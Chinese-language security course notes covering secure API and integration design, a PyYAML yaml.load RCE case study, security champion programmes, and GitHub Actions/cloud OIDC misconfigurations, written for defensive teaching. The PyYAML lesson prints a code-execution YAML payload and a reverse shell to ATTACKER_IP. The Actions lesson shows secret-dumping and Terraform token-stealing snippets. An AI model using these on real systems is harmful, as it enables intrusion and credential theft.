在本课程中,我们将学习如何为不同类型的系统集成(如API、文件传输和消息队列)设计和实施强大的安全措施。我们将从基础概念开始,逐步深入到高级安全模式,确保您能理解并应用这些原则来保护您的系统。


网络与传输层安全

我们从一个简单的场景开始:一个客户端需要安全地访问服务器上的资源,例如一个API。最基本的安全措施可以分为两类:基础设施层安全应用层安全。本节我们先探讨基础设施层的防护。

基础设施防护

攻击者会在互联网上寻找目标。因此,第一条原则是:除非必要,否则不要将API公开暴露在互联网上。尽可能使用私有网络,这可以避免大量针对公共端点的垃圾请求。

然而,即使应用了网络隔离,也绝不能假设网络内的所有客户端都是可信的。网络防御只是第一道防线,我们需要在其之上叠加更多安全措施。

传输层安全

强大的传输层安全(TLS)是后续应用层防御的基石。它为所有请求提供机密性完整性保护。

对于现代系统集成,应尽可能要求仅使用 TLS 1.3。如果因遗留系统必须支持 TLS 1.2,则必须对其进行加固配置。有许多优秀的指南可供参考。在纯机器对机器(M2M)的集成场景中,可以进一步限制仅使用特定密码套件。

评估TLS配置是否安全至关重要。在渗透测试中,我们常使用像 SSL Labs 这样的工具来扫描和评估公共端点的TLS配置。

端到端TLS的挑战

理想情况下,TLS应在客户端和服务器之间端到端地建立。但在实际架构中,我们通常会在服务前部署防火墙或网关等安全产品,以利用其高级安全功能(如流量检查)。这通常意味着TLS需要在网关上终止。

如果网关在检查后,以明文HTTP协议将流量转发给内部服务,就会在内部网络创建一大片不安全的区域。一旦攻击者进入该网络,就可以读取和篡改流量。

解决方案是让网关在检查后,重新加密发往后端服务的流量。这样,只要妥善保护执行重新加密的网关节点,我们就可以将其视为安全的“端到端”TLS。在现代的Kubernetes环境中,默认行为是在Ingress控制器处终止TLS,因此也需要特别注意内部流量的加密问题。


客户端认证与授权

上一节我们确保了通信管道的安全。本节中,我们来看看如何确认客户端的身份(认证)以及它能做什么(授权)。

客户端认证方法

TLS默认提供服务器认证。在M2M场景中,我们同样需要安全地认证客户端。双向TLS 支持这一点,它要求客户端也提供证书。

双向TLS非常强大,它同时提供了端到端的机密性、完整性和强客户端认证。然而,管理大量客户端证书的公钥基础设施(PKI)可能成本高昂且耗时,因此并非所有组织都能轻松采用。

除了双向TLS,还有基于应用层的非对称认证方法。以下是主要的客户端认证方法分类:

  • 弱认证方法(对称密钥)
    • API密钥:一个共享的密钥字符串。
    • HTTP基本认证:使用用户名和密码(也是共享密钥)。
      这些方法被认为是“弱”的,因为密钥一旦泄露,任何人都可以冒充客户端。
  • 强认证方法(非对称密钥)
    • 双向TLS:如前所述,使用客户端证书。
    • 私钥JWT:这是一种较新的、基于行业标准的方法。客户端生成公私钥对,并创建一个JWT(JSON Web Token),用私钥签名。服务器使用客户端的公钥验证该JWT。这避免了管理完整PKI的复杂性,但仍需建立分发和注册公钥的基础设施。

引入OAuth 2.0客户端凭证流

即使我们解决了客户端认证问题,通常还需要更细粒度的授权控制。如果只有一个API端点和单一客户端,那么认证即授权。但现实往往更复杂。

OAuth 2.0的客户端凭证流是处理机器对机器授权的行业标准。其流程如下:

  1. 客户端向授权服务器认证自己(使用上述强认证方法)。
  2. 授权服务器验证通过后,向客户端颁发一个访问令牌
  3. 客户端使用该访问令牌来访问受保护的API资源。

这个流程简单直接,避免了用户授权中的复杂重定向。然而,这里引入的访问令牌默认采用 Bearer(持有者)模式:任何获得该令牌字符串的实体都可以使用它访问API。这与API密钥有相似的安全隐患。

那么,引入OAuth带来了哪些实际安全提升呢?

  • 标准化:拥有RFC规范、官方威胁模型和成熟的框架支持。
  • 细粒度授权:访问令牌可以包含范围(scope)等元数据,支持更精细的访问控制决策。
  • 令牌生命周期管理:可以颁发短期令牌,遵循最小权限原则。
  • 客户端密钥轮换:可以在授权服务器端轮换客户端密钥,而无需API服务器停机。
  • 持有者证明令牌:这是解决Bearer令牌缺陷的更强机制,我们稍后会详细讨论。

为了安全地使用OAuth,我们必须遵循最佳实践和安全规范,例如金融级API的 FAPI 2.0 安全规范。它明确要求使用持有者证明令牌非对称客户端认证方法


持有者证明令牌

上一节我们提到了Bearer令牌的弱点。本节将深入探讨两种解决此问题的强安全机制:双向TLS持有者证明演示持有者证明

双向TLS持有者证明

这种模式结合了双向TLS和OAuth客户端凭证流:

  1. 客户端必须使用双向TLS向授权服务器认证。
  2. 授权服务器在颁发的访问令牌的 cnf(确认)声明中,嵌入客户端证书的指纹哈希。
  3. 客户端访问资源服务器时,也必须使用相同的客户端证书建立双向TLS连接。
  4. 资源服务器验证访问令牌的签名,并比较TLS连接中的客户端证书指纹与令牌 cnf 声明中的指纹是否匹配。

这样,即使访问令牌被盗,攻击者没有对应的客户端私钥,也无法通过资源服务器的TLS客户端认证,从而无法使用该令牌。令牌被“约束”在了特定的客户端上。

演示持有者证明

对于无法部署双向TLS的环境,演示持有者证明 提供了应用层的替代方案。其核心流程如下:

  1. 客户端生成公私钥对。
  2. 在向授权服务器请求令牌时,客户端创建一个JWT(称为DPoP Proof),使用私钥签名,并将其与令牌请求一起发送。
  3. 授权服务器验证DPoP Proof,并在颁发的访问令牌的 cnf 声明中嵌入客户端公钥的哈希。
  4. 客户端访问资源服务器时,需为每个请求创建一个新的DPoP Proof(使用同一私钥签名),并在Proof中嵌入访问令牌的哈希。
  5. 客户端将访问令牌DPoP Proof一同发送给资源服务器。
  6. 资源服务器验证两者:令牌的签名以及DPoP Proof的签名和令牌哈希绑定关系。

通过这种方式,访问令牌同样被约束到了持有特定私钥的客户端上,即使令牌泄露也无法被重放。


扩展到其他集成模式

到目前为止,我们主要讨论了HTTP API的安全。本节我们将安全基线应用于其他常见的集成模式:文件共享消息传递

我们假设一个需要高安全性的环境(如金融、医疗),我们的安全基线是:网络分段、强TLS、非对称客户端认证和细粒度授权。

文件共享集成

有时需要通过对象存储(如AWS S3、Azure Blob)共享文件。一个常见模式是API生成一个指向文件的安全链接(如预签名URL),客户端通过该链接直接下载。

如果仅依赖安全链接,这本质上又变成了一个“持有者令牌”——任何获得链接的人都能访问文件,造成了数据路径上的薄弱环节。

解决方案

  • 首选:所有文件访问都通过受保护的API代理,将存储置于私有网络。
  • 备选:如果必须直接访问存储,则应:
    • 对存储桶应用相同的网络分段保护。
    • 使安全链接为一次性或与特定请求/客户端绑定(短期有效)。
    • 在存储网关处要求客户端进行双向TLS认证(如果客户端已具备证书)。

消息队列集成

对于消息队列(如Kafka, RabbitMQ, Azure Service Bus),同样应用安全基线:

  • 网络分段:尽可能将消息队列服务置于私有网络。
  • 强TLS:启用并加固传输加密。
  • 强客户端认证:使用服务支持的最强认证方法(如客户端证书、SASL机制)。
  • 细粒度授权:为不同的客户端配置最小权限的队列/主题访问策略。
  • 消息签名:在多方向同一队列发送消息的场景中,可能需要额外的消息级签名,以验证消息来源。

管理复杂性:架构图与威胁建模

保护单一路径可能不难,但在大型组织中管理成百上千个不同集成的安全性则极具挑战。复杂性是安全的天敌

保持对系统理解的關鍵是维护清晰的架构图和进行威胁建模。架构图应能体现代理、网络边界、认证方式等安全关键信息。威胁建模则从攻击者视角分析系统,识别所有可能的入口点和薄弱环节。

例如,一个架构图可能显示主要API使用双向TLS保护,但消息队列却因成本或配置错误而公开暴露。此时,如果为一个新客户端简单地颁发了一个连接字符串(密钥),就会在系统最敏感的部分(消息总线)创建一个弱入口,与强保护的API入口形成鲜明对比。

通过持续的威胁建模,团队可以理解所有通信路径的安全强度,并在设计新集成时做出明智的风险决策。


代码层面的信任边界

从开发者视角看,我们需要构建即使没有基础设施保护也能保持安全的API(零信任)。安全防护应尽可能早地在应用层实施。

通常,我们在API端点(应用层)进行功能级授权、输入验证和对象级授权。业务逻辑和数据库访问则在服务层进行。

问题在于,当系统引入像消息队列监听器这样的组件时,它可能直接调用服务层逻辑,绕过了API层的安全防护。这导致信任边界扩大——服务层现在需要直接面对可能不可信的调用者。

为了缩小信任边界,我们需要进行重构:

  • 对象级授权等与领域逻辑紧密相关的检查,下沉到服务层。
  • 在服务层的入口处,也实施功能级授权强类型输入验证

重构后,无论调用来自API还是消息队列,都会经过相同的授权和验证逻辑,信任边界被有效控制在服务层内部。这体现了纵深防御原则:我们在网关、API层和服务层都设置了安全关卡。


验证与测试

拥有一个安全的设计还不够,我们必须验证实现是否正确。许多团队直到渗透测试时才发现授权漏洞。

不应等待外部测试来发现配置错误和缺陷。团队应主动进行安全测试,例如:

  • 负面测试用例:验证当令牌缺少必要范围时,API是否正确地返回 403 Forbidden
  • 遵循安全框架:利用如 OWASP ASVS(应用安全验证标准)和 CSA CCM(云安全联盟云控制矩阵)等框架进行系统化验证。CCM涵盖了集成的全生命周期管理(如服务商管理、账户管理、监控和下线),而ASVS则提供了详细的应用安全要求。
  • 性能与可用性测试:安全性也包括抵御拒绝服务攻击的能力,确保系统在高负载下仍能正常运行并实施恰当的DDoS防护。

通过结合这些测试、安全框架和合规性要求(如FAPI 2.0),我们可以构建出安全与合规并重的系统集成。


总结

在本课程中,我们一起学习了构建安全系统集成的完整路径。关键要点总结如下:

  1. 定义安全基线:为任何集成考虑四个关键方面:

    • 网络分段:尽可能限制暴露面。
    • 强传输层安全:理解TLS在何处终止与重新加密,确保端到端强度。
    • 强客户端认证:优先使用非对称方法(双向TLS、私钥JWT)。若使用对称密钥,则需配合严格的密钥管理和轮换策略。
    • 细粒度授权:在资源服务器端实施,遵循零信任原则,不假设前置环节已完成安全检查。
  2. 控制复杂性

    • 使用架构图威胁建模来理解整个系统及其集成点。
    • 明确并努力缩小信任边界
  3. 持续验证

    • 不要依赖渗透测试作为唯一的安全验证手段。
    • 主动实施安全测试,并参考 OWASP ASVSCSA CCM 等安全框架来确保设计和实现的正确性。

通过应用这些原则,您可以系统地设计和实现能够抵御常见威胁的安全、合规的系统集成。

021:Python遗留依赖中的远程代码执行风险

概述

在本节课中,我们将通过一个具体的案例,学习在Python遗留应用中由第三方库依赖引发的远程代码执行风险。我们将分析一个模拟的Web应用开发过程,了解攻击者如何利用旧版本库的特性进行攻击,并探讨一系列防御措施。

场景设定:一个遗留的配置检查工具

上一节我们介绍了课程的整体目标,本节中我们来看看具体的案例背景。

假设公司内部有一个使用了多年的油藏模拟器软件,它通过YAML文件进行配置。该模拟器运行在一个封闭的环境中,且环境中只提供了Python 3.4。我们的任务是开发一个Web工具,用于在运行模拟前检查YAML配置文件的有效性。这个工具必须使用模拟器自带的库,因此也只能在相同的Python 3.4环境中运行。

快速开发:借助AI生成代码

了解了需求后,我们来看看开发者是如何快速实现这个工具的。

开发者决定使用Flask框架快速搭建一个Web应用,并利用内部AI助手生成基础代码。AI助手建议使用PyYAML库来处理YAML文件。

以下是生成的核心代码片段:

from flask import Flask, request, render_template_string
import yaml

app = Flask(__name__)

@app.route(‘/‘, methods=[‘GET‘, ‘POST‘])
def index():
    if request.method == ‘GET‘:
        return render_template_string(‘...‘) # 模板代码省略
    else:
        yaml_text = request.form.get(‘yaml_text‘, ‘‘)
        print(yaml_text) # 用于调试
        try:
            # 使用yaml.load解析用户输入的YAML
            config = yaml.load(yaml_text)
            # 调用模拟器的检查方法
            result = check_config(config)
            return str(result)
        except Exception as e:
            # 捕获所有异常并返回给用户
            return f“An error occurred: {e}“

依赖困境:安装旧版本库

代码生成后,下一步是安装依赖并运行。

由于环境限制(Python 3.4),安装最新版PyYAML失败。开发者通过查询PyPI,发现并成功安装了与之兼容的旧版本PyYAML==3.13。应用成功运行,并能对测试YAML字符串进行基本验证。

漏洞显现:被忽视的库特性

应用看似运行正常,但一个关键的安全隐患已被埋下。

PyYAML库的yaml.load()函数有一个特性:当YAML内容中包含特定的标签时,它可以执行其中的Python代码。这是一个设计上的功能,但在处理不可信的用户输入时,就变成了一个严重的远程代码执行漏洞。

攻击者可以构造特殊的YAML输入来利用此功能:

!!python/object/apply:os.system [“touch /tmp/hacked“]

当上述内容被提交到应用时,yaml.load()会执行os.system(“touch /tmp/hacked”)命令。

攻击升级:从探测到完全控制

发现漏洞后,攻击者会尝试进一步利用。

首先,攻击者通过注入代码探测服务器是否能访问外网,例如向一个Webhook站点发送请求。确认连通后,攻击者会尝试建立反向Shell,从而完全控制服务器。

以下是建立反向Shell的恶意YAML载荷示例(IP和端口需替换):

!!python/object/apply:subprocess.Popen
args:
- python
- -c
- |
  import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“ATTACKER_IP“,ATTACKER_PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([“/bin/sh“,“-i“]);

成功连接后,攻击者便能在服务器上执行任意命令,访问机密数据,甚至部署勒索软件。

防御措施:多层安全实践

漏洞已经发生,现在我们来看看有哪些方法可以预防或缓解此类风险。

以下是几种关键的安全实践:

  1. 代码审查:人工审查代码,特别是数据处理和反序列化部分。有经验的开发者可以指出yaml.load()在不安全上下文中的使用。
  2. 威胁建模:在设计阶段分析系统,识别来自不可信边界(如用户输入)的数据流,有助于提前发现此类反序列化风险点。
  3. 静态应用程序安全测试:在IDE或CI/CD管道中集成SAST工具。这些工具可以自动标记出像yaml.load()这样不安全的反序列化调用,并建议使用更安全的yaml.safe_load()
  4. 软件成分分析:使用SCA工具扫描项目依赖(如requirements.txt)。SCA工具可以识别项目中使用的、包含已知漏洞的库版本(如存在任意代码执行漏洞的PyYAML 3.13),并提示升级到安全版本(如4.2+)。
  5. 安全依赖管理:在requirements.txt中固定库的版本号,并建立定期更新依赖的流程。避免使用泛版本说明(如PyYAML),这会导致不可预测的构建。
  6. 运行时监控:对已部署的应用进行持续监控,以便在新漏洞被披露时能及时获得告警并修复。

责任归属:开发者是最终负责人

最后,我们必须明确一个核心原则:开发者对其编写和部署的代码负有最终安全责任

无论代码是手写、复制自网络,还是由AI助手生成,一旦将其提交并部署到生产环境,开发者就需要为其中的安全缺陷负责。自动化工具和AI可以提高效率,但不能替代开发者的判断力和责任心。

总结

本节课中我们一起学习了Python遗留依赖导致远程代码执行的全过程。我们从一个模拟的Web应用开发开始,见证了开发者如何因环境限制而引入存在漏洞的旧版PyYAML库。随后,我们分析了攻击者如何利用该库的特性构造恶意输入,逐步从信息探测发展到获取服务器完全控制权。最后,我们探讨了包括代码审查、威胁建模、SAST、SCA在内的多层次防御策略,并强调了开发者在软件安全中不可推卸的最终责任。这个案例表明,在快速开发的同时,必须将安全实践融入开发生命周期的每一个环节。

022:安全冠军计划常见错误与最佳实践

在本教程中,我们将学习如何建立和维护一个成功的“安全冠军”计划。安全冠军计划是安全团队与开发团队之间的一座关键桥梁,旨在提升安全意识、改善沟通并规模化安全实践。然而,超过半数的此类计划最终会失败。我们将深入探讨导致失败的常见陷阱,并提供清晰、可操作的策略来避免它们,确保你的计划能够蓬勃发展。

为什么需要安全冠军计划?🤔

上一节我们介绍了本教程的目标,本节中我们来看看启动安全冠军计划的核心动机。理解“为什么”是成功的第一步。

安全团队启动此类计划通常出于以下几个具体目标:

  • 减少摩擦:改善安全团队与开发团队之间的关系,使协作更顺畅。
  • 规模化安全实践:在安全团队人力有限的情况下,通过赋能开发团队来扩大安全工作的覆盖范围。
  • 改善安全文化:在整个组织内培养更积极的安全态度和意识。
  • 建立信任与友好关系:这是有效沟通和协作的基础。如果开发人员不信任安全团队,他们就不会主动报告问题。
  • 更主动地修复漏洞:希望开发人员能更主动、更迅速地响应和修复安全问题。
  • 接收安全事件报告:鼓励开发人员在发现潜在安全事件时,第一时间联系安全团队。
  • 避免安全事件:通过早期介入和指导,在问题发生前就将其解决。
  • 培养未来的应用安全人才:安全冠军是招聘应用安全团队成员的最佳来源之一。
  • 成为首选咨询对象:希望开发人员遇到安全问题时首先咨询内部安全团队,而不是外部论坛。
  • 提升员工满意度与留任率:参与此类计划的员工通常工作更投入、更快乐,离职率也更低。

哪些地方可能出错?🔍

了解了目标之后,我们来看看实践中常见的陷阱。认识到这些潜在问题,是避免它们的关键。

安全冠军计划可能因多种原因而失败。以下是一个常见问题的列表:

  • 节奏不可持续:计划推进过快,导致团队无法跟上或 burnout。
  • 职责不明确:安全冠军和安全团队双方都不清楚各自的期望和责任。
  • “被自愿”的志愿者:强制指定人员担任安全冠军,导致他们缺乏动力和热情。
  • 招募失败:无法吸引开发人员自愿加入计划。
  • 职责不切实际:期望安全冠军承担过多或本属于安全团队的全职工作。
  • 缺乏高层支持:没有获得管理层的口头、财务或资源上的支持。
  • 缺乏度量指标:没有收集数据来衡量计划的成功与否和投资回报率。
  • 教育计划不佳:培训内容与冠军的实际需求脱节,或不知道教什么。
  • 冠军缺乏动力:冠军成员无所事事,不参与任何活动。
  • 社交氛围不佳:活动组织 awkward,缺乏社交技巧,导致参与度低。
  • 人员流动率高:冠军频繁离职,需要不断培训新人,成本高昂。

如何避免陷阱并取得成功?🚀

现在我们已经明确了问题所在,接下来让我们逐一探讨解决方案,学习如何构建一个稳健且富有成效的安全冠军计划。

1. 设定可持续的节奏

一个激进的启动计划往往难以持久。解决方案是从慢开始

以下是具体建议:

  • 每月最多举办一次活动:开发人员有本职工作,时间有限。
  • 提前规划(例如6个月):制定一个内容日历,明确每个月的主题(例如:跨站脚本、安全头、注入攻击等)。
  • 评估资源是否充足:确保在应对安全事件的同时,仍有足够资源运行冠军计划。
  • 征求同行意见:将你的计划草案拿给其他安全团队的同事看看,获取外部视角,避免对自己过于严苛。

2. 明确目标与职责

模糊的期望是失败的温床。必须设定清晰的目标并告知所有人

安全冠军的职责可以包括以下一项或多项,但务必具体:

  • 为同事提供安全建议:成为团队内的安全顾问,处理常见问题,复杂问题上报。
  • 创建和维护积极的安全文化:在团队内推动安全优先的思维。
  • 进行威胁建模:负责对新功能或重大变更进行威胁建模。
  • 在开发生命周期中添加安全检查点:确保安全评审、渗透测试等环节按时进行。
  • 甄别扫描器结果:分析SAST/DAST工具的结果,区分真/误报,并确定修复优先级。
    • SAST(静态应用安全测试):分析源代码的安全漏洞。
    • DAST(动态应用安全测试):测试正在运行的应用程序的安全漏洞。
  • 构建安全工具和功能:利用开发技能帮助自动化安全流程或构建安全特性。
  • 担任联络员:定期与安全团队沟通,同步团队动态和需求。
  • 发起安全修复:推动团队内安全漏洞的修复工作。
  • 向安全团队同步未来计划:提前告知技术选型或架构变更,以便安全团队介入指导。
  • 帮助实施或自动化安全工具:协助部署和配置安全工具。
  • 推广新的应用安全项目和工具:作为试点用户,帮助评估和推广新工具。
  • 进行安全代码审查:在同行评审中关注安全问题。

3. 吸引而非强制招募

“被自愿”的冠军往往表现不佳。关键在于吸引和招募

以下是如何吸引志愿者的方法:

  • 征求志愿者:公开邀请,而非强制指派。
  • 倾听并采纳反馈:让冠军参与决策,让他们感到被重视。
  • 举办有趣的活动:如技术分享、研讨会(可邀请外部讲师或播放会议演讲视频)。
  • 邀请参加外部安全社区活动:例如OWASP本地分会会议,进行团队建设。
  • 创建内部通讯:分享安全知识、趣闻和更新。
  • 适度分享“秘密”:在信任的基础上,分享真实的安全事件案例(经脱敏)能极大体现其价值并建立信任。
  • 分享有用的资源:根据冠军的技术栈,推荐相关的播客、文章等。
  • 进行一对一交流:定期喝咖啡聊天,了解他们的需求和困难。
  • 组织团队建设活动:让冠军们彼此熟悉,建立社群感。

4. 成功招募参与者

如果没人愿意加入,计划就无法开始。你需要主动推销这个角色。

以下是招募策略:

  • 解释对冠军个人的好处:提升简历价值、通往高级开发或安全职业的路径、保护用户和公司的成就感。
  • 持续宣传:在开发会议、邮件签名、内部通讯中反复提及。
  • 通过安全培训师推介:在培训中让讲师宣传冠军计划。
  • 一对一邀请:私下联系你认为合适的人选,说明原因。
  • 利用实体公告:在厨房冰箱等公共区域张贴有趣的招募告示。
  • 举办“开放办公时间”或“影子计划”:让感兴趣的人可以来观摩你的工作。
  • 有节制地群发邮件:避免 spam,每月在新闻通讯中提及即可。
  • 强调无需前置安全知识:承诺会提供所有必要的培训。
  • 请经理推荐(但强调自愿性):明确告知经理不能强制指派。

5. 设定现实的期望

要求冠军完成安全团队的全部工作是不现实的。需要公平和具体

请自问:

  • 这现实吗? 他们能否在每周1-2小时的投入下完成?
  • 角色互换你会接受吗? 做两份工却只拿一份薪水?
  • 期望是否具体? 明确告知需要投入的时间和工作内容。

6. 争取高层支持

没有资源的草根计划举步维艰。你需要主动推销其价值。

具体做法:

  • 向管理层进行专题汇报:阐述计划的价值和投资回报。
  • 展示投资回报:例如,避免一次安全事件能节省多少成本。
  • 制定正式的项目计划:呈现一个结构化的方案。
  • 引入外部顾问:借助专家的信誉和经验。
  • 展示成功案例:引用其他公司(如Datadog)的成功故事。
  • 不要假设管理层了解:耐心解释什么是冠军计划以及它能带来什么。

7. 建立度量指标

无法衡量就无法管理。收集数据并展示成果

可以度量的方面包括:

  • 等级体系:建立类似“腰带”(白带、黄带、绿带)的等级,记录达标人数。
  • 学习平台完成度:跟踪课程完成情况。
  • 参与度:会议出席率、活动参与度。
  • 安全状况对比:有冠军的团队与无冠军的团队的安全指标对比。
  • 目标达成率:计划设定的具体目标(如100%威胁建模覆盖率)是否达成。
  • 冠军职责完成情况:他们负责的任务(如漏洞修复SLA)完成得如何。

8. 规划有效的教育

培训内容应与冠军的实际职责紧密相关。聚焦于他们需要掌握的技能

教育形式可以多样化:

  • 播放优秀的会议演讲录像:组织观看并讨论。
  • 外包培训:邀请朋友、外部讲师或专业培训公司。
  • 采用安全培训平台
  • 聘请专门运营冠军计划的公司
  • 获取并演绎他人的演讲材料(需获得许可)。
  • 组织桌面推演练习

9. 激励冠军成员

不活跃的冠军形同虚设。需要持续激励和调整

解决方法:

  • 重申目标和职责:集体沟通,了解障碍。
  • 创建奖励机制:对表现优异者给予认可和奖励。
  • 替换不活跃者:让更有意愿的人有机会加入。
  • 分享积极指标:公开表扬优秀冠军的贡献,树立榜样。
  • 持续进行互动:坚持举办吸引人的活动。

10. 营造良好的社交氛围

尴尬的会议会吓跑参与者。提升沟通和主持技巧

改善方法:

  • 参加沟通技巧培训:阅读相关书籍(如《超级沟通者》)。
  • 引入擅长此道的顾问或社区经理
  • 接受不完美:只要保持尊重,有些“古怪”是可以接受的。

11. 降低人员流动率

频繁更替冠军成本高昂。关键在于提升参与感和价值感

保留冠军的策略:

  • 持续进行互动活动
  • 清晰传达他们创造的价值:定期分享因他们的工作而避免的安全事件或提升的安全指标。
  • 明确期望:确保他们理解并认同自己的角色。
  • 建立反馈循环:定期一对一沟通,了解他们的体验、职业发展需求,并据此调整计划。

总结与资源 📚

在本教程中,我们一起深入探讨了安全冠军计划。我们了解到,如果缺乏明确的目标和用心的设计,此类计划很容易失败。我们详细分析了十一种常见的失败模式,包括节奏过快、职责不清、强制参与、缺乏支持等,并针对每一项提供了具体的解决策略。

成功的核心在于:设定清晰、可实现的目标;以可持续的节奏推进;通过吸引而非强制来招募;提供相关培训;建立信任和良好的沟通;并用数据来证明价值。

最后,以下是一些免费资源,可供你进一步学习和启动自己的计划:

  • Shevira Academy:提供免费的网络安全课程。
  • 作者关于安全冠军的系列博客文章:包含了多年的实践经验总结。
  • 《安全冠军成功指南》(由Dustin编写):该领域的经典参考资源。

希望本教程能帮助你建立和维护一个蓬勃发展的安全冠军计划,从而显著提升你组织的安全态势和文化。祝你成功!

023:多云下的安全风险

在本教程中,我们将学习 GitHub Actions 在安全方面的核心概念、常见配置错误以及如何利用这些错误。我们将从 GitHub Actions 的基础安全模型开始,逐步深入到与云服务(如 Azure、GCP、AWS)的联合身份验证集成,并揭示其中潜藏的风险。

GitHub Actions 安全模型

首先,我们需要了解 GitHub 仓库的基本权限模型。这有助于我们理解攻击者(例如拥有特定权限的开发者)可能采取的行动。

在 GitHub 仓库中,主要有三种权限角色:

  • 读取权限:用户可以查看代码、提交问题。
  • 写入权限(协作者):用户可以提交代码、创建分支、修改工作流文件。
  • 管理员权限:用户拥有仓库的完全控制权。

上一节我们介绍了权限模型,本节中我们来看看一个对“读取权限”用户也有效的攻击向量:脚本注入。

脚本注入漏洞

脚本注入发生在用户可控的值被直接嵌入到工作流步骤中时。攻击者可以利用 GitHub 上下文变量(如 ${{ github.event.issue.title }})进行代码注入。

以下是易受攻击的工作流示例:

name: Vulnerable Workflow
on:
  issues:
    types: [opened]
jobs:
  echo-title:
    runs-on: ubuntu-latest
    steps:
      - name: Print issue title
        run: echo "New issue: ${{ github.event.issue.title }}"

如果攻击者提交一个标题为 test $(id) 的问题,id 命令将会被执行。

修复方法:始终使用 env 上下文来安全地传递变量。

      - name: Print issue title safely
        env:
          TITLE: ${{ github.event.issue.title }}
        run: echo "New issue: $TITLE"

从此刻起,我们将假设攻击者拥有“协作者”权限,这意味着他们可以直接修改仓库中的工作流文件。

分支保护与工作流控制

一个自然的问题是:如果部署是由 main 分支触发的,而我是协作者,难道我不能直接把恶意代码推送到 main 分支吗?

这引出了分支保护规则。以下是关键的防护措施:

  • 要求通过拉取请求合并:禁止直接推送到受保护分支。
  • 要求最新提交获得批准:防止在批准后注入恶意代码。
  • 要求批准者非最后推送者:防止自我批准恶意代码。

然而,即使有分支保护,协作者仍然控制着工作流文件本身。他们可以创建一个新分支,修改工作流的触发条件(例如,从 on: push: branches: [main] 改为 on: push: branches: [hacker-branch]),然后在该分支上运行修改后的工作流。

核心结论:你无法在工作流文件内部建立针对协作者的安全防护,因为他们可以修改或删除这些防护。

秘密管理

GitHub 允许在多个层级存储秘密:仓库级、环境级和组织级。

仓库级秘密对协作者是可见的。如果协作者修改工作流来输出秘密,他们就能窃取这些凭据。

      - name: Steal secrets
        run: echo "${{ toJson(secrets) }}" | base64

最佳实践:将敏感秘密存储在环境中,并将环境配置为仅允许从受保护的分支(如 main)运行。这样,即使协作者尝试在非保护分支上运行工作流来读取环境秘密,操作也会被阻止。

上一节我们讨论了静态凭据的风险,本节中我们来看看更现代的解决方案:联合身份验证。

联合身份验证与 OIDC

联合身份验证使用 OpenID Connect 协议实现无密码认证。在 GitHub Actions 场景中:

  1. GitHub Actions 作为身份提供商,生成一个包含声明(claims)的 ID 令牌。
  2. 工作流将此令牌发送给云提供商(如 Azure)。
  3. 云提供商验证令牌由 GitHub 签发,并根据其中声明(主要是 sub 主题声明)决定授予哪些权限。

sub 声明的格式通常类似:repo:组织/仓库:environment:环境名repo:组织/仓库:ref:refs/heads/分支名

以下是配置联合身份验证时各云平台的主要差异:

  • GCP:称为“工作负载身份联合”。你需要配置属性映射,通常将 assertion.sub 映射为主属性。
  • Azure:称为“联合身份凭据”。UI 会引导你选择实体类型(环境、分支、拉取请求等)并自动生成 sub 值。
  • AWS:称为“身份联合”。你需要配置信任策略,指定允许的 GitHub 组织和仓库。

危险的配置模式

配置联合身份时,sub 声明的匹配是简单的字符串比对,这导致了多种错误配置:

  1. 使用拉取请求实体类型(Azure)sub 值形如 repo:org/repo:pull_request。这没有内在保护,任何来自该仓库的拉取请求(甚至是草稿)都能获得权限。
  2. 错误使用通配符(AWS):例如,将 sub 配置为 repo:my-org/* 是安全的。但如果错误地配置为 repo:my-org*(漏了斜杠),攻击者可以创建名为 my-org-attacker 的组织来匹配。
  3. 手动配置 sub 时的顺序错误:如果你自定义 sub 格式,例如 environment:prod:repo:org/repo,那么攻击者可以在自己的仓库创建一个名为 prod:repo:org/repo 的环境来匹配。
  4. 断言目标未受保护:断言 sub 必须包含 ref:refs/heads/main 是好的,但前提是 main 分支在 GitHub 端确实受到了保护。否则,攻击者可以直接推送代码到 main 分支。

可重用工作流与终极绕过

为了真正保护核心工作流,GitHub 建议使用可重用工作流,将其存放在一个访问权限严格控制的独立仓库中。你可以通过 job_workflow_ref 声明来确保只有来自这个安全仓库的特定工作流才能获得云凭据。

然而,这并非万无一失。如果这个“安全”的可重用工作流内部存在间接代码执行的途径,攻击者依然可以绕过防护。

一个真实案例:一个安全的可重用工作流用于执行 terraform planterraform apply(仅允许在 main 分支)。攻击者可以在自己仓库的 Terraform 代码中,使用 local_file 数据源或 external 数据源,在 terraform plan 阶段读取之前步骤中缓存的 Azure 访问令牌。

# 攻击者仓库中的 Terraform 代码示例
data "local_file" "token" {
  filename = "/home/runner/.azure/accessTokens.json"
}
output "stolen_token" {
  value = data.local_file.token.content
}

这样,即使工作流文件本身是安全的,且 apply 阶段受到保护,攻击者依然在 plan 阶段通过 Terraform 的功能窃取了令牌。

总结与最佳实践

本节课中我们一起学习了 GitHub Actions 与云身份联合场景下的安全风险。核心问题源于复杂的配置和简单的字符串匹配机制。

以下是关键的安全建议:

GitHub 配置方面:

  • 使用分支保护规则保护你的主分支。
  • 使用环境来存储秘密,并将环境限制在受保护的分支上运行。
  • 在工作流步骤中,始终使用 env 上下文来传递用户输入,避免脚本注入。

云身份联合配置方面:

  • 避免使用通配符,除非你完全理解其含义。
  • 尽可能具体地限定 sub 声明,例如包含具体的仓库名,而不仅仅是组织名。
  • 如果你断言的是分支或环境,确保它们在 GitHub 端是受保护的
  • 对于可重用工作流,确保其内部没有让调用者执行代码的途径

通用原则:

  • 遵循最小权限原则:授予工作流和服务主体的权限应恰好够用,而非过度授权。这是我们在客户评估中最常见的问题。

通过理解这些机制和陷阱,你可以更好地配置安全的 CI/CD 流水线,降低因配置错误导致的安全风险。

024:攻防实战与BFF模式

在本节课中,我们将要学习 OAuth 2.0 在前端应用中的安全风险、攻击者的能力,以及如何使用后端前端(BFF)模式来显著提升安全性。我们将从基础概念开始,逐步深入到具体的威胁模型和防御策略。

概述:OAuth 2.0 与 OpenID Connect 基础

首先,我们快速回顾 OAuth 2.0 和 OpenID Connect 的核心概念,确保大家理解它们解决的问题。

OpenID Connect 是关于用户身份认证的协议。它建立在 OAuth 2.0 流程之上,但核心问题是:“请为我认证这个用户”。它将认证工作委托给一个第三方身份提供商,由后者处理认证并返回用户身份信息。

